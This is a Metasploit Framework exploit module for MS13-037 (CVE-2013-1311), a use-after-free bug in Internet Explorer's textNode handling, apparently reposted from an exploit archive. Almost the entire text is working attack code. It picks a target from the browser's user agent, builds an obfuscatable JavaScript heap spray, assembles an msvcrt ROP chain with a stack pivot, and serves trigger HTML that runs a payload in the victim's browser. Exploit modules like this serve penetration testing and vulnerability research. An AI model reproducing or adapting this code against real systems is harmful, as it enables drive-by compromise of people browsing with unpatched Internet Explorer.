Microsoft Internet Explorer textNode Use-After-Free Exploit

:
10.06.2013
:
Microsoft Internet Explorer
:
:
Microsoft Internet Explorer

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb

def initialize(info={})
super(update_info(info,
'Name' => "MS13-037 Microsoft Internet Explorer textNode Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
where a DOM textNode pointer becomes corrupted after style computation. This pointer is then overwritten when the innerHTML property on the parent object is set.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1311' ],
[ 'MSB', 'MS13-037' ],
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ms13_037_ie_textnode_uaf.pdf' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 812,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
],
'Privileged' => false,
'DisclosureDate' => "June 6 2013",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end

return nil
end

def heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

js = %Q|

var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);

|

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate

end

return js
end

def get_payload(t, cli)
code = payload.encoded

# No rop. Just return the payload.
return code if t['Rop'].nil?

# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")

stack_pivot = [
0x77c1cafb, # POP EBP # RETN [msvcrt.dll]
0x41414141, # Junk
0x781a04cb # POP ECX # PUSH ESP # RETN [urlmon.dll]
].pack("V*")

# Set up required heap layout
junk = "#{Rex::Text.rand_text_alpha(4)}"
null = "\x00"*4
valid_ptr = [0x0c0c0c0c].pack("V*")
offset = [0x0c0c0c6c].pack("V*")
heap_foo = junk*5 +
valid_ptr*2 +
junk +
offset +
junk*4 +
valid_ptr +
junk*6 +
valid_ptr +
null +
junk*2

rop_payload = heap_foo << generate_rop_payload('msvcrt', "", {'pivot'=>stack_pivot, 'target'=>'xp'})
rop_payload << code
end

return rop_payload
end

def get_exploit(my_target, cli)
p = get_payload(my_target, cli)
js = heap_spray(my_target, p)

html = %Q|
<!doctype html>
<html>
<head>
<script>
#{js}
function exploit() {
var obj = document.createElement('s')
obj.innerHTML = "⍼☠"
document.body.appendChild(obj)

document.styleSheets[0].cssText = "body:first-line{color:blue}"
CollectGarbage()

setTimeout(function(){
for (i=0;i<1000;i++){
obj.innerHTML = "\\u0c2c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c";
}
}, 500)
}
</script>
<style>
</style>
</head>
<body onload='setTimeout("exploit()", 2000)'>
</body>
</html>
|

return html
end


def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = get_exploit(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status "Sending HTML..."
send_response(cli, html, {'Content-Type'=>'text/html'})

end

end

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